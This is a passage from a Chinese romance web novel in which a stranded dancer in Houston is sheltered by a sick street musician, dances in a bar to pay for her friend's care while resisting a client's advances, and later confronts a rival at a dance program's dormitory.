就在落地的那一天,休斯顿的主办方发表了声明,比赛因为主教练伤病原因,将会延迟一个月开始。
一个月,一个说短不短,说长不长的时间。
一个月,可以让带着伤病的她,在充裕的时间恢复全部实力去比赛。
一个月,也可以让身无分文的她,冻死在这个冬天。
她当初敢一腔孤勇的来到这里,全凭在来之前了解到休斯顿会提供餐饮和住宿。
命运也真是爱跟平凡人开玩笑,可不曾想,平凡人根本开不起玩笑。
她的全部希望,也许该集聚在一起来到这里的老熟人,魏清雅的身上。
她也确实有这个机会,让这个希望之光落到自己身上。
可是,魏清雅想让她介绍沈淮给她。
也许,魏清雅也听信了那个“传言”,以为她是沈淮的表妹。
正因为此,这一路也对她格外关照,不仅甘愿当人形导航,还自费邀请同吃同住。
姜早拒绝了。
拒绝的同时,也承担了后果。
不通外语的她,终究是落了一个流落街头的下场。
冬天,终究是冷的彻骨。
她仅穿了来时的一身长裙和薄绒外套,和街头那群衣衫单薄的流浪汉根本无差。
当坐在公园的长椅上,泛起困意的时候,她看到了路人对她的目光。
即使只是一眼,都让她的自尊被踩在地上反复磨碎。
也正因为此,她强撑着眼皮,就算再困,都不愿意合上自己的眼睛。
就这样,她熬了两天。
在第二天的夜晚,倒在了公园的草坪上。
倒在草坪上,也是她的精心设计。
因为草是自由的,躺在上面的人也是自由的,有追寻自由想在草上臆想自由的年轻人,也有以草为家落草为安的流浪者,至少倒在这里,不会有异样的眼光。
倒地前,她仰头的最后一幕是看着天空。
就在眼睛越闭越紧的时候,她仿佛看到了一盏落在头顶上的聚光灯。
聚光灯耀眼而夺目,因为光源渐渐暗淡,变成了一个普通的灯泡。
聚光灯下的她,因为没有聚光灯的照耀,混入人群变成一个普普通通的平凡人。
在这伸手不见五指的黑夜里,不会有任何人在意她的死去,也不会有人在意她的辉煌和苦苦守护的自尊。
真是遗憾啊。
她这么想。
真是太遗憾了。
她做了一个梦,梦里没有别的人,也没有任何故事。
只有她一个人站在一片白茫茫的空间里,无论怎么走也走不出去,当脚下踩空的时候,以为一切就要结束,睁眼的瞬间看到的却是一个满是发霉斑点的屋顶。
她被救了。
一个打扮精致,家里却十分邋遢的中国女人。
那个女人扔给了她一瓶酒,还有一个面包,让她充饥和解渴。
女人说自己是一个街头歌手,所以很忙,顾不到她,让她活下来之后赶紧滚蛋。
她花了一整天的时间知道,这个女人也是一个流浪者。
因为这个地方曾三次有人敲门,让住在里面的人滚出去,虽然不太懂英文,但那几句骂人的话,她还是听懂了。
这个废弃的地下室,因为臭味的原因,一直被周围的居民举报,却无济于事。
姜早虽然不喜欢这种行为,但没有权利去插手别人的事,何况这个女人现在是自己的救命恩人,总不能恩将仇报的去把门打开,让警察把所有东西扔出去,让那个女人无家可归。
人在对待自己觉得错误的事情的时候,总会站在道德的最高点去看问题,但这中间一旦有介质影响,终究是会不同的。
那一天,她吃了那个面包。
在面对酒的时候,她犹豫了。
但干燥的嘴唇代表整个身体在抗议,告诉她,不喝这杯酒,活不下去。
她想活,想活到参加顶尖计划的那一天,想活过这个月。
她在将酒倒进喉咙的那一瞬间,第一次认识到内心强烈的渴望和野心。她这次来到休斯顿,就是为了那盏聚光灯。
她要聚光灯再次打在她的身上,就必须要撑过这个月、活过这个月。
那杯酒和之前的酒一样,使喉咙滚烫,使胃灼热。
唯一不同的,是这杯酒,在她的心里也点了一把火。
让她真正了解自己,以及正视自己渴望和野心。
那天,凌晨的夜,那个女人迟迟没有回来。
姜早想当面和她道别,便一直等着。
那个地下室没有灯,半个窗户只留了一点点光亮给这个房间。
她利用那个一丝一缕的光线,将整个房子打扫了一遍,算作给那个女人报答。
房间很乱很破,所有家具都攒了灰尘,收拾起来很麻烦,她拿了一块布,小心翼翼的打开门,借了一点昨天的雨水沾在布上,擦了整个屋子。
所有的一切收拾完,将近半夜。
她收拾的实在太累,直接坐在地上,抱着一个椅子睡了过去。
午夜的街头,一个女人斜挎着吉他,手拎着一瓶酒,扯了扯已经被折磨的很不堪的半抹肩带,晃晃悠悠的推开了地下室的房门。
走进去的一瞬间,一股清新的味道扑面而来。
残缺的月光照亮这地下室模糊的轮廓,这周围的一切和原来都不一样了,可以说是天翻地覆。
就在她摸着额头,以为是自己醉酒幻想到了海螺姑娘这种奇幻故事的时候。
她余光瞥到了角落里,女孩儿盘腿坐在地上,双手抱着椅子,手上还拿着一块破旧的布,就这么躺在椅子面上睡了过去。
月光打在她脸上,她仿佛如同月色般皎洁明亮。
明明那个角落那么暗。
此时却比外面的月色亮的多。
她放下吉他,轻轻关上门,小步走到那个身影面前,欠身蹲下。
多么干净的一个女人。
光看到就觉得,这个人应该过的很美好才对,而不应该是流落街头。
似是身上的酒意熏到了对面的人。
对面的人揉了揉眼睛,看向她。
说不清的错愕,瞬间眼神又转变
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为歉意。
黑乎乎的夜色下,那道目光的转变让她觉得说不清的可爱。
在对视的那一瞬间,姜早放下布,从地上爬起来,真诚道:“对不起,我知道你不希望这么晚还看见我留在这里,但我真的想当面和你说一声谢谢。”
姜早说完该说的就打算离开。
却听到那人把椅子抽出来的声音,然后慢悠悠道:“喂,你会不会做饭。”
姜早转身,那地方太暗,看不清那个人到底是什么表情,也不知道她为什么突然这么说。
那一天,她做了那顿饭。
也是在那一天,她在休斯顿突然有了一个家。
后来的几天,她都会给她做饭。
她有时候会来的很早,有时候回来的很晚,但都会往家里带一些吃的回来。
虽然住的只是地下室,但她们吃的一直很好,有水果也有肉。
姜早也好奇过,她到底哪来这么多钱。
但她一向很有边界感,即使好奇,也从来没有问过。
就这样持续了一周时间。
在第八天,休斯顿下了一场雪。
那个女人很早回家,第一次在家里喝酒,也第一次在家里拿起那把吉他。
姜早听出了她弹得曲子。
是一首蒙古族的民乐。
她曾在跳民族舞的时候,跳过这首歌的剧目。
是藏族人在草原上自由奔放的状态。
曲风是昂扬向上,洒脱潇洒的。
在曲子中,能感受到草原上的牛羊和载歌载舞的人群。
沉浸的听,是草原的蓝天白云,青草绿地,篝火人群。
那一天,姜早第一次知道,这个女人是个藏族人,名叫格桑,曾是藏族最年轻的音乐家。
酒后的她,也是沉默寡言,只寥寥介绍了几句她的情况,再多的她喝了一口酒,也不再多说了。
姜早知道,她咽下去的那口酒,藏着很多故事。
格桑的自尊心,比她要强的多。
比起郁郁不得志,格桑更想让别人知道,她从一开始就失败,是从头失败到尾的一个人。
也许是因为,姜早安慰了她很多,她便说起了从草地上捡她的经历。
奇怪的,她们明明共处了这么久,这段开始的经历却是她们之间第一次聊起。
还是借的酒后。
格桑说,异国他乡,她对熟悉的国人面孔经常会多看一眼。
她在公园边的闹市街头表演,回家的路一定会经过这里,她早就注意到穿着单薄衣服坐在椅子上的人了,只是不想拆穿这层伪装,因为每个人的伪装都价值昂贵,不容许任何人戳破。
那一天,她静静地听完。
也喝了一点酒。
寂静的夜色下,她端着脸,望着对面那个女人。
仿佛在她的身上看到了一面镜子,镜子中的人是另一个自己。
有自命不凡的时候,也有落魄不得志的时候,明明现实残破不已,却又将自尊视若至宝。
倔强又要强。
格桑见她情绪低落,没有问她为什么不开心,而是给她的杯里满上了酒。
杯盏交碰间,她说。
“姜早,晚安。”
39. 第 39 章
次日,格桑睡了很久。
久到她以为格桑醒不过来了。
可当她走到格桑面前试探呼吸的时候,格桑突然睁开眼蹦起来,在床上盘腿捧腹大笑。
格桑说,等了好久,就是为了吓她一跳。
姜早被她的性情大变弄得有些摸不着头脑。
至少印象中,格桑的性格不像是喜欢开这种玩笑的人。
格桑错以为她的沉默是生了闷气,推了一把她的肩膀,嫌弃道:“喂,你不会生气了吧?你怎么这么容易生气?你以后一定会没有丈夫。”
姜早没有说话。
因为,她确实容易生气,也确实因为爱生气没有了另一半。
她的愣神,被格桑认为是默认了生气,便开始想着法子哄她。
女生哄女生,总是有格外多的方法。
晚上格桑回来,带了很多新衣服回来。
姜早没有要,自己的衣服有一天的替换,每天洗完就换,也能凑合用。
格桑也不知道怎么猜到她会不喜欢,借机从背后拿出了一个手机。
她半慵懒的躺在沙发上,晃了晃手里的新款手机:“早就猜到你不喜欢那些东西,所以准备了这个,这个你一定喜欢,独在异乡,一定想要一个手机联系亲人吧?”
格桑洋洋得意,以为猜中了她的心事。
却见她从口袋里拿出了一个国产手机。
格桑因为惊奇,头一回打听起她的事:“那怎么一直没有见过你玩手机?”
姜早将国产手机放回了口袋里,这是出国前,为了订机票买的手机,也正因为这样卡里剩下应急的两千块钱也用掉了,真正身无分文的来到休斯顿。
面对这个疑问,姜早指了指月色,玩笑道:“摸黑玩手机对眼睛不好。”
格桑回来的时间,经常是在深夜里,家里一个灯也没有,所以从来没看到过她玩手机。
这么一说,也合理。
“那你...”格桑看了她很久,但终究是没有将话说下去,而是看了她很久。
姜早从她的眼神看到了怜悯。
她知道,格桑也许是想问,为什么明明有通讯的工具还会流落在街头。
她没问出来。
她也没答。
格桑说了句扫兴,就去把手机退了。
第二天,家里多了一个床头灯,格桑说路上捡的。
姜早却挺开心,她一向是怕黑的,一直在没有灯的环境里睡觉,任何风吹草动都使她变得敏感,有灯,接下来便会好过一点了。
一段时间的相处,她们不是知根知底,但也已经相互信任。
格桑不再只有晚上回家,白天有时候也会留在家里。
她经常会问:“你无不无聊,要不要出去看表演。”
因为确实没有事,所以姜早也经常会跟着格桑出去。
她看到那些街头表演者,有些惊叹于这些人的才华,在她眼里,他们都是非常有才华的艺术家。
格桑说,他们都是流浪者。
即使在井底,也有资格仰望星空。艺术从来自由,这也是她喜欢艺术的原因。
格桑说这句话的时候,正在仰望星空,让人不禁浮想,她说的这些人中也有自己。
姜早认真开口:“你未来一定会成为一个非常厉害的吉他手。”
格桑微顿,低眸望向她,对视的那一刹那,仿佛从那双眸中看到了满目星河,比在天上看到的要灿烂很多。
格桑笑了,只是那个笑,不似那天在床上恶趣味的捧腹大笑,而是一种淡淡的苦笑。
姜早顿了。
她竟然觉得,此时眼前的人,才是真正的格桑。
他们总在夜色下相视,她总想从哪寸缕夜色中看清她的眸色,却总也看不清,像是眼前蒙了一层雾,永远看不清她眸中的情绪,也看不清她这个人。
格桑收回目光,仰头打了个哈欠:“困了,该睡了。”
那天晚上,格桑确实回去后倒头就睡。
姜早以为她是太困了,没在意。
直到第二天,她醒来后怎么也叫不醒格桑。
那时,她半信半疑,心中暗暗想也许格桑又想吓唬她。
可当她故作生气的离开,辗转回来,床上的人仍旧保持那个姿势不动,她真的有些着急了。
跑到床边着急的喊她的名字。
就在她拿出手机要报警的时候,床上的人突然轻咳两声。
姜早暴躁的像一只兔子,红着眼眶直直的看着她:“耍我好玩吗?”
她以为格桑又是像上次一样耍她,可是这次格桑没有蹦起来捧腹大笑。
格桑在轻笑了两声后,开始了剧烈的咳嗽,咳到整个屋子都是那阵咳嗽的声音,格桑忍不住用手捂住嘴,下一秒,终于不再咳了。
姜早慌张道:“你到底怎么了?”
格桑放下手,用干哑的声音道:“感冒了而已,别传染给你了,你出去逛逛吧。”
格桑说完,见她的眼神不是在看自己,便顺着目光看过去。
是自己的手?
她吃力的抬起来。
看到了手中心晕染的红晕,格桑正打算默不作声的将手盖回去,装作什么都没有发生过,却早就已经来不及。
“救护车,救护车。”姜早拿出手机打开屏幕,手指颤抖因为颤抖,落在号码上的时候总是会按错,好不容易按好了号码,打算拨出去,突然一只手攥住她,不让指尖落下。
姜早错愕的抬头,却见她惨白的脸上挂了一丝浅浅的笑。
格桑轻轻叹气:“还是被你发现了。”
姜早用力拧开那只手,却怎么也甩不掉,着急道:“你做什么!快放开我,我电话还没打出去。”
“别打了,我看不起病。”格桑轻轻摇头,补了一句,“很早以前,我在街头找过一个算命的算剩下的时间,他算的真准,真的要到时间了。”
她看了一眼床头的日历,眼神中没有半分遗憾。
姜早迟钝的将手机放下来,眼神呆呆的望向那个日历。
难怪,难怪。
格桑总喜欢拿着那本日历,晚上喝醉酒回来,也会摸黑拿起那本日历发很长一段时间的呆。
她一直不知道是为什么,在今天终于懂了
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。
这是她的倒计时,一本有关于她人生的倒计时。
太阳的光从半山窗户打下来,将这间阴暗的地下室照了半抹橘色光芒。
却丝毫缓解不了房间里的冷气。
姜早觉得这地方真是冷的要让人发疯了,浑身止不住的颤抖起来:“看病吃药能有多少钱?”
格桑仰头看着天花板,木讷道:“哪有这么简单,光是检查是什么病,各种仪器照下来,要大几千美元吧,太贵了,要是看出什么病来,还要花更多钱。”
格桑又咳嗽起来。
姜早慌张的站起来往后退:“我现在就去赚钱。”
格桑淡淡的看她:“别做无用功。”
姜早回头,第一次说起了自己会跳舞的事情,她也可以靠街头卖艺赚钱。
她知道格桑曾经街头卖艺的地方,格桑带她去看过,还说那个地方是她固定的地盘,没人会动。
格桑眼神第一次有了慌乱,想要阻止,去看到门一开一关,房间里再没有声音了。
她想抓起手机打电话,想要摸手机的时候,却感觉眼前模模糊糊,渐渐黑了过去。
休斯顿的夜晚是热闹的。
各种街头艺术家会在街头表演。
姜早刚站到那里,打算播放音乐跳舞,就被一个人攥住了手腕。
“今天怎么不是格桑来?”
“她生病了,不会过来了。”姜早挣扎开,往后退了几步,在距离很远的地方,提防的看着这个人,眼神带着戒备:“你是谁?”
这个人会说国内的话,样貌似乎是个混血,眼神处处透露出精明。
似乎是这样的状态,挑起了他的兴趣,他一步步的逼近,边走边道:“我是酒吧的主管,她让你来,没有跟你介绍我吗?”
姜早退到退无可退,指着他道:“你别再靠近了,不然我就跳下去。”
这个地方到处都很热闹,她如果跳河,一定会引起周围人的注意。
那个男人也注意到了这一点,往后看了一眼,突然变得绅士起来,主动往后退了一步,故作正色道:“她是我酒吧的吉他手,今天有客人点了她在包厢表演,那位客人已经来了,她现在不在,我要怎么交差呢?”
姜早静了一会儿,问:“只要是才艺表演都行吗?”
那个男人点头:“是。”
姜早问:“给多少钱?”
那个男人摩挲着下巴,仰头道:“这得看客人高不高兴吧,才艺表演的好,可能是几千美金,表演的不好,就几百吧。”
姜早的拳心慢慢攥紧,深吸了一口气道:“我会跳舞,让我代替格桑去才艺表演,可以吗?”
男人脸上现出一抹经验,重复了两遍跳舞,拍手道:“那个京城来的客人最喜欢的就是跳舞的,可惜我们酒吧没有这样的表演者,亲爱的,你真是天助我也,今晚一定要让他多消费一点酒哦~”
他说着,就要上前揽住她。
姜早从他手下钻过,往后退了退,红着眼满脸提防。
男人咂嘴,轻笑了两声:“好了,只是逗逗你,走吧,今晚酒吧的业绩还要靠你呢。”
40. 第 40 章
酒吧的灯光五颜六色,进去之后便开始有些晕头转向。
姜早跟着那人一直往里走,越往里走,周遭的声音越来越轻。
一路都有卷毛的服务生,不停的朝他们鞠躬。
她被带到了更衣室。
琳琅满目的衣服,没几件事布料多的,不像是正常人穿的。
许是她的表情逗到了那个老板,老板笑个不停。
用英文和里面的女服务生说了什么,没多久,女服务生就从最后面推出了一个衣服架。
这个衣架上的衣服比其他衣服正常了不知道多少倍。
老板走到她身边,凑近,温热的呼吸打在她耳畔,让她打了个激灵,往后退了几步。老板笑了,没再往前,揉了揉脖颈然后道:“看你很需要钱的样子,好心提醒你一句,穿的越少老板给的越多,人体艺术也是有价格的。”
姜早睨了他一眼:“你要在这看着?”
老板捂嘴,故作惊讶的摊手,然后退了出去。
只剩下一个人的时候。
姜早凝视着那些衣服,像是时空突然静止,只剩下心里的屈辱。
她随手扯下了一个黑色兔子女装,边脱衣服边小声呢喃:“竟然敢让我穿这种衣服。”
眼泪不停的滴落到黑色的裙子上,好在是黑色的,看不清眼泪的痕迹。
换好衣服,她随手扯了唐装的外披肩披在肩头,顺便抹干净的眼泪,才打开那扇门。
一直守在门口抽烟的老板,侧头看过来,眼前一亮,将烟抛在地上,用脚踩灭,上下打量她,咂了两声嘴:“那句话怎么说来着,此物应是天上有...哎呀,就是这个披肩差点意思,拿掉更好。”
姜早拢了拢那条披肩,神色冷冷的看他:“可以去表演了吗?”
“sure。”老板挑眉,轻笑着拱手:“女士,为你引路是我的荣幸,走吧。”
姜早没有理会他的热情,冷冷的跟上去。
走到最里面,明显所有的摆设都和前面的不一样了,连包房的门都像是纯金。
一推开门,一股香水味扑面而来,这里的空间很大,一个男人在追三个穿着火辣的女人,女人娇滴滴的声音故意卖弄着,半跑半走,最终还是跌到了男人怀里,男人喊了一声抓到了,然后将她甩到沙发上,转而去追另外一个女人。
这大约是在玩什么游戏。
音乐声响,都没注意到门口动静。
酒吧老板走过去,那人才停下来。
只不过看到他后,神色不是很满意,像是被打扰了兴致。
酒吧老板也是在人情中摸爬滚打的人,见状也不急着道歉,而是凑过去笑着说了什么。
说完后,酒吧老板主动退了一步,露出站在他身后的姜早。
包厢的主人脸上的表情立刻就变了,眼神游移在姜早身上,一刻都没有松开,旁边有女人贴过来,被他无情的推开。
他侧头指着酒吧老板,露出牙齿笑道:“还是你懂事,给我开十瓶酒!业绩算她的。”
旁边的几个女人气哼哼的坐在一边,似乎是很不满意他的安排,有些敌意的看着姜早。
姜早自然也注意到那些目光了。
她是佩服这些人的。
她们真的把这当成职业在做,所以才会有这么强的竞争意识。
酒吧老板最后出门的时候,朝她抛了个媚眼,趁她不备凑到耳边,轻轻道:“好好表现。”
姜早蹙眉往后退了一步,想说什么,但是酒吧老板已经离开了,还替他们关上了门。
“很高兴认识你,美女。”包厢的主人抿了一口酒,陶醉的仰头,一步步靠近她。
姜早往后退了两步,但怕触怒他,顿住,没有接着往后退,就在那人离她很近的时候,她侧身越过,走到点歌机前,故作忙碌:“您喜欢看什么类型的舞,我选一个曲风给您跳。”
“好啊~随便什么都行”包厢的主人被逗乐,坐回到椅子上,揽住两边的女人捏了捏,一副要欣赏的样子。
音乐响起。
姜早站在那道昏暗的灯光下,将披肩轻轻放到地上。
她跳了很久,沉浸在舞蹈中,认真的演绎。
中国风的曲调,配合着这个音乐,实在是违和。
包厢的主人看的却很开心。
一曲完,她如同聚光灯下的谢幕,轻轻鞠躬。
一堆钱从空中抛起,一张一张从她周围落下,天上好像在下钱雨。
她没有仰头看那场雨,而是认真的,一张一张的从地上拾起那些钱。
原来,对艺术的认可,可以不止是掌声。
学艺术的大多数人,也许很少人能同她一样,感受到这样的认可。
在收拾好最后一张美元,她的眼眶微微泛红,站起来时,又迅速调整好了情绪,轻笑着说:“老板,还想看吗?我还可以接着跳。”
服务生走进来,把推车里的酒放下。
包厢的主人早在她跳舞的时候,就挥退了两边的人,服务生走后包厢里只剩下了他们。
他架着腿,摇了摇头,然后慢慢道:“一会儿再跳,先来喝酒。”
姜早藏在袖子里的手骤然一紧,站在原地,久久都没有动。
那男人没有注意到她的抗拒,耐心的,将一刀钱拿出来,分成好几份,压在酒杯下面。
这些动作仿佛在此刻变成了慢动作,一帧一帧在姜早眼前播放,记忆莫名能和从前的一段记忆重合。
她从记忆中抽离,空洞的眼神慢慢聚焦,一步步,慢慢的走了过去。
坐下的瞬间,突然有一只手落在肩头,她看着那只手,没有做声,迟疑的一瞬,手上已经被塞了一杯酒。
许是因为之前陪过一次酒,这次有了一些经验。
一杯一杯下去,头昏脑涨的时,会从桌上拿一颗糖在嘴里含着,酸甜的味道在嘴里散开,会缓解她的醉意。
从前的一杯就倒,随着她喝的次数多了,仿佛身体也在渐渐的适应,没有再出现立马就昏睡过去的情况。
不知是不是刻意,后面的几杯,他都倒的格外多。
喝到四杯的时候,她实在扛不住,去厕所吐了。
吐完,跌跌撞撞的走回来,接着喝。
到最后一杯的时候,她拿着杯子的手突然被攥住,被拽了一把,差点跌到那人怀里。
他也没因为这巧妙的设计失败而生气,只以为是自己的问题,笑道:“拿了这么点就开心了?想不想拿更多?”
说完,他的眼神在她身上上下扫了一眼。
她知道他在说什么。
这句话意味着,只要做了那件事,就可以拿到比眼前的这些还要多的钱。
眼前的钱已经很多了。
她醉醺醺的脑袋还在想,原来赚钱竟然可以这么简单。
可是,她不喜欢。
不喜欢这种方式赚钱。
那一晚,她没赴最后的约。
借口上厕所,逃出了酒吧。
漆黑的弄堂,昏暗的光线,她蜷缩在阴影里,耐心的数着手里的钱。
因为喝醉,她总会记错数的数字,每次都要重新数,来来回回,数了好几次。
三千美金。
很多了,但会不会还不够。
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格桑撑不了那么久。
姜早沉默着拿出手机,点亮屏幕,模模糊糊的点了一个号码,电话很快就通了。
她覆在耳边,刚想说话。
电话那头突然一道男声传过来:“你在哪?”
姜早浑身一震,酒意清醒了大半。
“不好意思,我打错了。”她匆忙挂断了那个电话,低头一看,果然是沈淮的名字。
其实,她出国前就已经拉黑了沈淮,怕自己听到他的声音会心软回头。
曾经,她想过,沈淮这么好的人,到底在这么样的情况下会舍得和他分手。
可后来的后来,就是有那么一个瞬间,出现了这个念头,便再也收不住了。
阴影里的她,不满的数落自己:“怎么点错了。”然后往下滑,这次她反复确认了一遍,才点亮号码。
电话也是很快就接通。
她轻轻道:“喂,爸。”
电话里的声音很快就回了:“哎,早早,最近腿好一点没有啊?”
姜早头靠在墙上,仰望着月色:“好一点了。”
那道声音,宽慰了很多:“怎么突然给我打电话啊?”
电话这头的姜早沉默了很久。
她这才意识到自己喝醉了,明明坚守了好久,绝对不告诉爸妈自己的情况,让他们担心,怎么会在这时候,想要找他们求助呢。
她克制了下来,深吸了两口:“没事,就是想问问你,你的手去看过医生了没有。”
电话那头笑了两声:“看了,沈淮那孩子没告诉你吗?”
姜早怀疑是喝醉酒听错了,这件事和沈淮能有什么关系,还是接道:“我出国去比赛了,不在家。”
电话那头有些惊讶:“就是你之前提的比赛吗?这么快就出国了?”
姜早轻轻点头,即使对面没有人:“嗯。”
电话那头有些严肃:“你的腿恢复好了吗?”
姜早点头敷衍道:“在家休息了几天早就好了,医生跟我说,可以正常运动了。”
电话那头松了口气:“加油拿个第一回来,不拿第一也没关系,反正你妈不知道这件事,那你在那边过的怎么样啊?钱不够一定要和爸爸妈妈说。”
姜早的眼角滑落一滴泪,嘴角挂了一丝淡淡的笑:“嗯,我在这边过得很好,你放心。”
“那就好,国外那边不安全,像...”电话那头姜爸孜孜不倦的提醒。
在一个全是陌生人的地方,姜早总感觉与世界建立不了连接,只是麻木的在运作,宛如一个机器。
在此时,却感觉到了自己与这个世界的连接。
她调整了呼吸,问:“爸,你还没回答我的问题呢。”
电话那头的姜爸回答的时候,听起来带着一些笑意:“上次碰到沈淮那孩子,他看到我手受伤了,后一天带了一个医生朋友来帮我看手,人家说我的手不是一定要做手术,每天做一点康复训练就行了,这不,前几天一直来陪我做康复训练呢。”
姜早闭上眼睛,道:“辛苦他了。”
姜爸突然道:“哦对了,以前都是沈淮那孩子和医生一起来,最近都只有医生一个人来了,我便问了一嘴,沈淮那孩子好像也去休斯顿了,你们碰上面没有?”
姜早手发紧,片刻落下眸子:“没有,爸,我有点累了,先挂了。”
电话挂断,她环抱着双腿,呆呆的看着路灯落在地上的光芒。
沈淮也来了休斯顿。
他们当然碰不到。
她活在地下,只能在地下出没。
而他活在天上,怎么可能碰到她呢。
41. 第 41 章
那一天,她很晚回家,打开门,房里黑漆漆的什么也看不清。
惨白的月色朦胧的照出床的整体轮廓,已经没有人了,只有空荡荡的一张床和一条被子,平平的。
床头灯按亮的时候,她看到了床头柜上,一张泛黄的纸。
胃里翻江倒海很不舒服,早前胃病没有完全好,今天一喝酒又复发了。她扶着床慢慢坐下,慢慢打开那张纸。
纸张是粗糙老旧的,不知道从哪个角落里临时翻出来的,上面的字却写得十分工整。
是格桑亲手写的告别信。
“姜早,我本来觉得活着没什么好的,直到我遇到了你,觉得活着好像也还行。我得去求我爸了,他在休斯顿是个小有名气的品牌商,真不想承认他,他又找小三又赌博,自私又下贱,但该是我的家产,我也该拿回来了,但愿他愿意救我,我们有缘再见。”
很潇洒,像是她说的。
她坐在地上,头轻轻靠在床上:“再见,格桑。”
冬色冻人,她又变成了一个人。
唯一不同的是她靠出卖尊严,有了一笔生存的钱。
后来,她找到了一个租金不贵的房子,每天循规蹈矩的训练技巧组合,从白天练到晚上。
膝盖恢复的很快,临近比赛时,她已经恢复了鼎盛时期的水平,第一次高兴的买了新衣服。
报名处,姜早正在登记信息,魏清雅不知道从哪里冒出来,身边已然站了很多朋友。
她的社交能力一向很强,姜早并不意外。
因为同校的原因,她们两个被分到了同一间宿舍。
魏清雅拿到了房卡,回头看了一眼姜早,眼神有些怪的跟管理员说:“您好,能不能给我换一间宿舍。”
姜早没有在意这句话,她们之间确实已经到了同住一个宿舍也别扭的关系了。
可后来,她发现这句话并没有那么简单。
站在宿舍时,魏清雅单手挡住门,笑着道:“你不许进这间宿舍。”
姜早冷冷地看她:“什么意思。”
魏清雅双手交叉,上下打量她:“一个酒吧跳舞的,谁知道干不干净,会不会得病,我不放心和你住在一起。”
姜早拳心紧了紧:“你从哪里听到的。”
魏清雅轻笑:“当然是亲眼看到的,那天酒吧我看着你走进去的,姜早。”她连装都不装了,连学姐都不再喊了。
姜早蹙眉:“就算是我,那又怎样,我只是跳舞而已,我什么都没做,你凭什么这么说我,让开。”
魏清雅将她手里拎着的随身包夺走,摔在墙上,书包落地的瞬间,周遭都静了,所有正在搬运行李路过的人都静了。
她不屑道:“早就听说,你靠手段参加的顶尖计划,果然不假,我不屑于和你一个宿舍。”
姜早怎么会不知道她是什么居心。
有人小声和魏清雅打听,魏清雅便说出了她从前的新闻。
所有人对她的眼神都变了。
顶尖计划汇聚全世界舞蹈者的精锐,每个人都是各个地区的佼佼者,心高气傲,所有人对姜早的眼神都变了。
之前走在魏清雅旁边的女生,走上前,一把推倒姜早:“我最看不起你这种人,不想上台出丑,就赶紧主动退赛。”
姜早手攥着书包,神色冷淡的看着那群人。
又是这样。
没有一个人帮她说话。
姜早拾起地上的书包,甩在那个女人身上,神色冷的吓人。
那女人猛地退后两步,想要反驳却被那道眸色吓了一跳,一时忘了说话。
“魏清雅,我还不知道你的把戏,你知道我的水平在你之上,就想演一出戏让我主动退赛,你以为我会如你的愿吗?你这个名额,不就是踩着我走上来的吗?不对我感恩戴德,在这里搞小动作算什么。”
像是心事被戳中,魏清雅和她的朋友对视一眼,眼神变得心虚起来:“你!胡说什么!”
周围的人也感觉到其中的不对劲,视线在两人之间游移。
姜早一步步走近她。
魏清雅忍不住往后退了一步。
姜早看到她的退后突然笑了:“你有什么资格讽刺我?你的名额不就是靠男人给的吗?”
“你闭嘴!”也许在高处站的久了,早就忘了自己这些陈年旧事还有人记得,魏清雅慌乱之余,一巴掌朝姜早扇过去。
所有人倒吸一口凉气,姜早却笑了两声。
还没等魏清雅反应过来,一巴掌落到了她脸上,清脆的一声响。
魏清雅错愕的捂着脸,不可思议的看向姜早,却被她寒的刺骨的眸子吓住了。
姜早懒得多说,直接道:“你的名额不就是靠睡了我的前男友换来的吗?你在装什么?”
没料到姜早突然会把这件事讲出来,魏清雅的脸青一阵白一阵。
众人见她没有回嘴,看向魏清雅的脸色立马就变了,对于魏清雅造谣姜早的新闻也半信半疑。
姜早心中冷笑了一声,以其人之道还治其人之身罢了。
她拾起地上的书包,推开挡在门口的魏清雅,在擦肩而过的时候,姜早在她耳边淡淡道:“想换宿舍,你自己去申请。”
被推到门上的魏清雅现在才想起来反应,看着还没散去的人群,她试图镇定的解释:“你们别相信她的话,她都是骗人的。”
她试图一次次解释,但越解释显得解释越苍白。
一个白人单肩背着书包,淡定的推着行李箱,在人群中央站定:“What''swrongwithdancinginthebar。”
“什么意思。”魏清雅英语不太好,和旁边人问道。
周围人没有人搭理她,都被那张脸给吸引住了目光。她们当然认出了那张脸,是这次比赛的主教练之一。
她的比赛履历十分丰富,十岁开始打地级比赛,一路顺风到市、省赛,再到世界大赛,没有一次输过比赛,是名副其实的舞蹈天才。
舞蹈圈,没有人不知道她,吉纳瑟丽。
这次,她是作为顶尖计划的主教练来的。
就在场面僵住的时候,吉纳瑟丽自己用中文翻译道:“你刚刚说,酒吧跳舞怎么了?”
魏清雅当人也认出这号人物来了,一时不理解为什么她要帮姜早说话,小声反驳道:“多低俗啊
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吉纳瑟丽冷哼一声,本来就长得高,压着眼看别人,无形中有一种威压,让人喘不过气:“okfine,那让低俗的人住一个宿舍吧,我从小就是酒吧驻场舞蹈演员,和她一样。”
魏清雅顿时就慌了,她哪里知道吉纳瑟丽有这段履历,慌忙解释道:“我没有那个意思!我...”
吉纳瑟丽不耐烦的掏了掏耳朵:“看不起她就是看不起我,你有本事就在培训最后一天的成果比赛跳过她,万一跳不过,岂不是要被说连一个酒吧跳舞的都打不过。”
所有人都闭了嘴。
这句话是对魏清雅说的,也是对其他人说的。
与其带着有色眼镜去看别人,还不如扎扎实实的在台上过招,靠卖弄嘴上功夫算什么本事。
她从小家境不好,别人都说她有舞蹈天赋,她对舞蹈没兴趣,但是对赚钱兴趣很大,光靠自学就能在几个比赛里拿到奖金,平常没比赛的时候,就靠酒吧里跳舞赚钱,她从来没觉得有什么磕碜的,这群人高高在上的态度真让人不爽。
要不是这次来是以舞蹈教练的身份,以她的性子,早就对这几个趾高气昂的上手了。
周遭那群人触及到她的目光,立刻别开目光匆匆离开,本来就是来看热闹的,没必要为了看热闹得罪主教练。
魏清雅站在原地手足无措。
吉纳瑟丽蹙眉道:“怎么还不走,我都给你留了几分面子了,你有没有和主办方塞钱我还不知道吗?整个比赛就你一个塞钱了,主办方还让我多关照你,赶紧哪凉快哪呆着去,我住这屋了。”
她不像那帮弯弯绕绕的人,有话直说,懒得多余浪费时间,她的时间按小时计费,金贵的很。
魏清雅匆匆拎上门口的行李箱,咬牙狼狈的离开。
房间里的姜早,心情还算可以的在整理行李箱。这个房间,两张床中间一个床头柜,格局和酒店的双床房很像,她很满意。
再加上门没关,所有声音都被她听到了。知道自己不用和那个人一起住,她挺开心。
看到吉纳瑟丽推着行李箱走进来,她站起来,有些紧张的攥住衣角:“hello...Mynameis...”
吉纳瑟丽没有看她,自顾自的整理箱子,闻言随意道:“可以说中文,我爸是中国人,我可以听懂。”
